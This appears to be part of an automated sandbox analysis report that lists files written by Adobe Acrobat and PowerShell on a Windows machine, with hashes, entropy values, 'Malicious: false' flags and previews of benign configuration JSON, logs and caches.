Entropy (8bit):	5.327246917472825
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSrRlNQpM7H9VoZcg1vRcR0YqCoAvJfzdPeUkwRe9:YvXKXBYRldLEZc0vZxGb8Ukee9
MD5:	3EE391F2E55625FC5BACE8C81A1E1D3E
SHA1:	56E4EDFF36BF84BA61D70D4802C81C3F21F0C5BF
SHA-256:	1C6BF6ACC4B7E00637A81A883743BF424B6D19B15F83333962732494B8023DCC
SHA-512:	19B8E697B540B3A39702ADCC2DE3666D8484554BB3C36882E0194D74AFCB0E5379612FE58A6A42D5E6268793429A47492C2AE7A0CA6FE030272848F2F361F309
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308054327303001
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSrRlNQpM7H9VoZcg1vRcR0YqCoAvJfYdPeUkwRe9:YvXKXBYRldLEZc0vZxGg8Ukee9
MD5:	D03FC1EBDE4F9C706B9BA1753DE88B24
SHA1:	6F694BC4F78379977CF8E345801894E84EAA93D6
SHA-256:	D906309630DEEFF9FB485675A0358418A74C9B6FA9E78F4CC4AB1C554E5614B0
SHA-512:	6C7C2B12784894637A9763022148EA70A57164321F4E2952467C3BD04C181308C4ED42BAB748F2BB024345FF9F7C5CD0FDF03BB4C87687B181FDEEA4E770BF5C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2939288001298594
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSrRlNQpM7H9VoZcg1vRcR0YqCoAvJf+dPeUkwRe9:YvXKXBYRldLEZc0vZxG28Ukee9
MD5:	C14BE2BB48A4918E004B8D8455ADFC8C
SHA1:	9029C7A22740FC4BC2AD1B91AE272EDAA972B21F
SHA-256:	4430C3C717EFBD6584EA77433788229A805BABAF55596EC7DB9F2EBAFF91DB02
SHA-512:	B6F0DB58DAC4016EC2724F3354876B10F23EE18F38536403F0518FA91E2F64F9BB4DD6F1F25649AF01929E62A2637DF56D5E8BF579EEE4DDBF462BEF6CD7BAE4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.29154606877547
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSrRlNQpM7H9VoZcg1vRcR0YqCoAvJfbPtdPeUkwRe9:YvXKXBYRldLEZc0vZxGDV8Ukee9
MD5:	52489D60C7EC6CF95D413365DE119C05
SHA1:	418B97B55B5B7F8923751DC408C75B6F0F9DBD28
SHA-256:	BDA4A57AE45227B0850AE4BEB2448DD55826DB045AA4F59DB61150B0D27AFCFF
SHA-512:	8C0ADBE396EE017917125096EBBCB7C63D6E1260BD6355695CC2E110CF0CE6DED461D2920D4C62DF1BF18856A725E1BADD30D440D797A2003502502CC0EB9BFA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.296309005329487
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSrRlNQpM7H9VoZcg1vRcR0YqCoAvJf21rPeUkwRe9:YvXKXBYRldLEZc0vZxG+16Ukee9
MD5:	503D8337F8741E617B1F42C74796E3F5
SHA1:	D37C4E7834CE97D3ED9C2B1DFCCF06D6B5DB0F4C
SHA-256:	B5A417819189C3A7C83027E2F1AB4DBD262950E6F2A38A070FA61E40724402F4
SHA-512:	7FB0717551152667D88C95770C294C2C1720D966B53781DE3BCCBD5AD0E562A02FD721F4D26A0DEBB36BCFE593E6AD518933E8D7882991CCDCBA172C4CC1683B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.670687913888843
Encrypted:	false
SSDEEP:	24:Yv6XB8WzvZqamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSE:YvE8OBkBgkDMUJUAh8cvME
MD5:	20CFC57436E8A6AED907C00C12848DEE
SHA1:	7E02D9647B854DB5C98B8671AA40769451AF565F
SHA-256:	C2718FF04944D1E0D299C9D02B411ED77D30B6337505C8FED7DC21C2178559C5
SHA-512:	0AFC270BBA55D0098F4C4EC726C025E8839B344630AD7D9F3E859C37BDFE07C8C3754952B31B48F1DB7D845AFE82BA067337AD2E306779F86E318D072EE324C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.271366329618354
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSrRlNQpM7H9VoZcg1vRcR0YqCoAvJfshHHrPeUkwRe9:YvXKXBYRldLEZc0vZxGUUUkee9
MD5:	A3172FD2F556AAA87AA4D4E79C31B128
SHA1:	3C001512D73C591C8E62F81B7BE37BF877D9661C
SHA-256:	E58405E2287A6CC246438FEAB82A36EF82B49F45973CE0B053E13547B5D56CE2
SHA-512:	1E97946820AB9E7A3FF814F086F39B0B431BD27134178EBE1EBA00B706B00EE3AEE2EDEDF7C4E43E562034E59EA111F35094C8DA8F773C0D910853439763FE99
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2857464976735
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSrRlNQpM7H9VoZcg1vRcR0YqCoAvJTqgFCrPeUkwRe9:YvXKXBYRldLEZc0vZxGTq16Ukee9
MD5:	E3389FFE1DBD3DB8A6A75263B705ED89
SHA1:	587EF282C17A7E0B6CB3941ED71986E241DB6908
SHA-256:	E29671F3D81F6513D962D758ABCBF9AB4E4326B4122CD637086FC75ADA9B1424
SHA-512:	B30B3DB481E48058772203491E7A37D97F5070C42F63482AC1EDBAB089177AD26D8A9763525FEC4C1D75EC7D16CD454DC44AAFDD447754CF9B1E022E0B4078B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"673d7994-b54a-48dc-8cf1-4956b8ff2af4","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736719741824,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1346472166152495
Encrypted:	false
SSDEEP:	24:YC+p/aIJaygya3tGh3CW9ZFjXvASj0STtHL2w2LS9C1lscB7E4fo5xLcR9JIbu4j:YC2gkhy4Btr5LylscB7xgHW9yj
MD5:	D4E7AD9C464754E3C150E8AA7424129C
SHA1:	17CE39698DC7657EE1EAB0D83C6CAE849C8B1C70
SHA-256:	9B95C272C8AF37F6448C4413754FEB78A3C1EC5A403F3D077170492326C304CE
SHA-512:	1D0458B09F41ADDA8191CE13C91FD8CBB40F4935F24E6D0071373263C1B51BC9F4B9CB2FC782CB5D752CB9E512132E3069051CF4E140F22A043CAE164ABE91D3
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a6f63aa907840163c2c93b28f183c7e6","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736540266000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"6510ecf1d541a30ffeb1fe01ca1482d9","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736540266000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"a803fabc7b333ac2de43a340ae7e315d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736540266000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"7919223d97d0ac9bfa63784e40be95aa","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736540266000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e44fb31510f1545131a38ed740b3061a","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736540266000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5c53481ff8e460ec5956c864279bd114","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.188455971290641
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU/0gOSvR9H9vxFGiDIAEkGVvpVgI:lNVmswUUUUUUUU/0R+FGSItpV
MD5:	611017FC0059F9D4D85470C481C2D142
SHA1:	6D650DBDB34F4F0FFDA6E6384601F10688A8F85A
SHA-256:	BE085C312CDAE8F2C07E700BBCE928AE47920B192178C987A061C5CE6E6B6775
SHA-512:	ED536830E6FC4EF30DC0C565CFF0F6AF4C5194160D875235070C9ACE5C74C3E65CEDAB00060744F3FF1E2CBC627D62F7F86E207928B8F3B6A3838D9AC71CBB60
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6066906722274352
Encrypted:	false
SSDEEP:	48:7MTKUUUUUUUUUU/0gcvR9H9vxFGiDIAEkGVvyqFl2GL7msP:7VUUUUUUUUUU/09FGSItgKVmsP
MD5:	AC858BAFA5CF7C01284EEBF6ECE30520
SHA1:	F93B733FBB491FDAB08BF470DE237BEE4C11B9DF
SHA-256:	F911F2857CFC0119D0EFCCAD4F4AD81B87E312026ED81BA1463B69C4B5C588F4
SHA-512:	7B122739E3047E8F05E411F5E4E5498916D1B1164EFC3CD59848B792EA1F0B8ADCDA1C3FDDDD409827459C8381834E14103F904628174B20390D1A29747BC071
Malicious:	false
Preview:	.... .c......E.`......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEghnTNeqUu9eQWncR6c/ftp8TCYyu:6a6TZ44ADEX9eQWncgc/faCK
MD5:	4E875666D325CB84B2449D2668308149
SHA1:	49994CB328361B7432E8A09B911CD93AD4AB171E
SHA-256:	3F83CCC707077C04C918F8E2C3881B66560C0C3A154A31F68C94F97B8070419E
SHA-512:	6643F153AA41171F9175074366E30C7536FAD2EB9562D2025717E5B75BAC23EDE457F1DB707862FCCBD5507B48C6EF32B03AD6716819DCCBE41A2409621A39D4
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllulvh2th:NllUE
MD5:	1C6FEFD3AEFA5BA7595E7FC2E4284A86
SHA1:	1061961FD8D9427258B32E58594747A9009930B7
SHA-256:	AB4853F85060BF67D37B111333E3852386DF7BF6AA0499E6CEF96B10CE5A1621
SHA-512:	03A091C2C65B6C22EFB336B4155E8579A540C773DB34E8F8654BC3D7044C00434020096B41BF2959245CA8722CF3913B38A653DE361A5BF0FDF218A6F07B6626
Malicious:	false
Preview:	@...e.................................~..............@..........

C:\Users\user\AppData\Local\Temp\MSI4c51c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5136057226030957
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERIue:Qw946cPbiOxDlbYnuRK+bDRI3
MD5:	BF8D6B709251FFA72133A648451C50A3
SHA1:	B91E31E84795C77716C84D2D1A3436B41A9A4720
SHA-256:	C4A22E626593BCB15C8310B1CE446F3E3C2F5679BFDB9D064998FD6AD7D66C38
SHA-512:	83D1840D540D8C7120C1DE46FD1AE83372E1A0791DAE9C44F354F255A21C3D0BA82BF86CE73A6BFFE3E1C8B5BD03C4B93E55AF44CFDD91DD8468828129ED7861
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.1.7.:.4.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tbnfiqvn.4qn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uhd55gmv.ki4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-17-39-782.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.374096776966712
Encrypted:	false
SSDEEP:	384:Kca1isQphYVbo+zUOqdzGMm7fkZFvTPub4KcuaMIG9RVRn53XMxe9W9kRKwn/08P:9JC
MD5:	FCACDF54234A44E2D6FBBFF548742CFD
SHA1:	F87AA25FDDCCC0A71163F7532AC4F78AA10AE0B3
SHA-256:	76DF8E3F06EC10D2E3D8841C3589F03EC823E0308959D5645B8E7ABA95BF8D4B
SHA-512:	0964743094D9C1FD169447540B2784F97D50569CECC98860159AE0764890F3B6BC5139251C6D58F192E471AF2D8D2A71E2A0899D75A1D3771E953FB3C0AD5CDE
Malicious:	false
Preview:	SessionID=4ac67f07-1868-4f3a-b8ac-f68821d3ff3e.1736540259830 Timestamp=2025-01-10T15:17:39:830-0500 ThreadID=7964 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4ac67f07-1868-4f3a-b8ac-f68821d3ff3e.1736540259830 Timestamp=2025-01-10T15:17:39:831-0500 ThreadID=7964 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4ac67f07-1868-4f3a-b8ac-f68821d3ff3e.1736540259830 Timestamp=2025-01-10T15:17:39:831-0500 ThreadID=7964 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4ac67f07-1868-4f3a-b8ac-f68821d3ff3e.1736540259830 Timestamp=2025-01-10T15:17:39:831-0500 ThreadID=7964 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4ac67f07-1868-4f3a-b8ac-f68821d3ff3e.1736540259830 Timestamp=2025-01-10T15:17:39:831-0500 ThreadID=7964 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.388787226074793
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rh:Uu
MD5:	ED9EC6981F7CEA0627F254E9154CE25D
SHA1:	09C4363D874F2DED4BE645334A57CFFB4C79B567
SHA-256:	6FF6980306CBF12F805AA2DB4862C900BD16DB0985DC05DC700C618E535E1CE2
SHA-512:	67F02D9706E8BFEEC735B555E1332EAFA99B0274B12BF5E0DD8054A318DEE0CFDA607DAC9A53061872BA4788C35A3139AAF935CEEA0C17A368E45C2FA6A016F7
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\061caee4-fe6e-4a27-a88c-3f852a29c04d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
